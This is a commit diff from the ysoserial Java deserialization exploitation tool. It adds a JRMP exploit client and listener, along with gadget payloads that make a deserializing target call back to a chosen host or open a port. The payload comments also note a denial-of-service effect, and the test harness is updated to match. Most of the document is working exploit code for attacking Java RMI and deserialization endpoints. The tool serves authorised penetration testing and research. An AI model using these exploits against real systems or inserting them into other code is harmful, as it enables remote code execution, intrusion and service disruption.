Add JRMP utilties, gadgets and test code.

This commit is contained in:
mbechler
2016-03-06 14:54:49 +01:00
parent 8dfce7ed73
commit 436e831cbd
9 changed files with 670 additions and 10 deletions
+1
View File
@@ -21,4 +21,5 @@ public @interface PayloadTest {
String precondition() default "";
String harness() default "";
}
@@ -0,0 +1,139 @@
package ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.UnknownHostException;
import javax.net.SocketFactory;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String hostname = args[ 0 ];
int port = Integer.parseInt(args[ 1 ]);
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
makeDGCCall(hostname, port, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
/**
* @param hostname
* @param port
* @param payloadObject
* @throws IOException
* @throws UnknownHostException
* @throws SocketException
*/
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
/**
* @author mbechler
*
*/
static final class MarshalOutputStream extends ObjectOutputStream {
/**
* @param out
*/
MarshalOutputStream ( OutputStream out ) throws IOException {
super(out);
}
@Override
protected void annotateClass ( Class<?> cl ) throws IOException {
if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null);
}
else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = "";
for ( URL u : us ) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
annotateClass(cl);
}
}
}
@@ -0,0 +1,284 @@
package ysoserial.exploit;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPListener implements Runnable {
private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
/**
* @param port
* @param payloadObject
* @throws IOException
* @throws NumberFormatException
*/
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}
/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
/**
* {@inheritDoc}
*
* @see java.lang.Runnable#run()
*/
public void run () {
try {
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
out.writeUTF(remote.getHostString());
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}
}
}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}
}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
/**
* @param s
* @param in
* @param out
* @throws Exception
*/
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID u = UID.read(in);
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
/**
* @param in
* @param out
* @throws Exception
*/
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
/**
* {@inheritDoc}
*
* @see java.io.ObjectInputStream#resolveClass(java.io.ObjectStreamClass)
*/
@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
throw new IOException("Not allowed to read object");
}
};
try {
ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}
System.err.println("Sending return with payload");
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}
}
@@ -0,0 +1,81 @@
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(0); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPClient.class, args);
}
}
@@ -0,0 +1,55 @@
package ysoserial.payloads;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import ysoserial.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
* Requires:
* - JavaSE
*
* Argument:
* - Port number to open listener to
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( skip = "This test would make you potentially vulnerable")
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}
@@ -42,5 +42,29 @@ public interface ObjectPayload<T> {
}
return clazz;
}
/**
* @param payloadType
* @param payloadArg
* @return an payload object
*/
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
final Object payloadObject;
try {
final ObjectPayload payload = payloadClass.newInstance();
payloadObject = payload.getObject(payloadArg);
}
catch ( Exception e ) {
throw new IllegalArgumentException("Failed to construct payload",e);
}
return payloadObject;
}
}
}
+5 -1
View File
@@ -6,11 +6,15 @@
*/
package ysoserial;
import java.util.concurrent.Callable;
/**
* @author mbechler
*
*/
public interface CustomTest extends Runnable {
public interface CustomTest {
void run (Callable<Object> payload) throws Exception;
String getPayloadArgs ();
}
@@ -0,0 +1,66 @@
/**
* © 2016 AgNO3 Gmbh & Co. KG
* All right reserved.
*
* Created: 05.03.2016 by mbechler
*/
package ysoserial.payloads;
import java.io.IOException;
import java.util.Random;
import java.util.concurrent.Callable;
import javax.management.BadAttributeValueExpException;
import org.junit.Assert;
import ysoserial.CustomTest;
import ysoserial.exploit.JRMPListener;
/**
* @author mbechler
*
*/
public class JRMPReverseConnectTest implements CustomTest {
private int port;
/**
*
*/
public JRMPReverseConnectTest () {
port = new Random().nextInt(65535 - 1024) + 1024;
}
/**
* {@inheritDoc}
* @throws IOException
* @throws NumberFormatException
*
* @see java.lang.Runnable#run()
*/
public void run (Callable<Object> payload) throws Exception {
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
Thread t = new Thread(l, "JRMP listener");
try {
t.start();
payload.call();
Assert.assertTrue("Did not have connection", l.waitFor(1000));
} finally {
l.close();
t.interrupt();
t.join();
}
}
/**
* {@inheritDoc}
*
* @see ysoserial.CustomTest#getPayloadArgs()
*/
public String getPayloadArgs () {
return "localhost:" + port;
}
}
@@ -66,7 +66,7 @@ public class PayloadsTest {
}
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader) throws Exception {
final String command = "hostname";
String command = "hostname";
final String[] deps = buildDeps(payloadClass);
PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
@@ -85,19 +85,25 @@ public class PayloadsTest {
if ( t != null && !t.harness().isEmpty() ) {
wrapper = Class.forName(t.harness()).newInstance();
if ( wrapper instanceof CustomTest ) {
( (CustomTest) wrapper ).run();
return;
if ( wrapper instanceof CustomTest ){
command = ( (CustomTest) wrapper ).getPayloadArgs();
}
}
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
if ( wrapper instanceof WrappedTest ){
callable = ((WrappedTest)wrapper).createCallable(callable);
}
if ( wrapper instanceof CustomTest ) {
( (CustomTest) wrapper ).run(callable);
return;
}
try {
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
if ( wrapper instanceof WrappedTest ){
callable = ((WrappedTest)wrapper).createCallable(callable);
}
Object deserialized = sm.wrap(callable);
Assert.fail(ASSERT_MESSAGE); // should never get here
} catch (Throwable e) {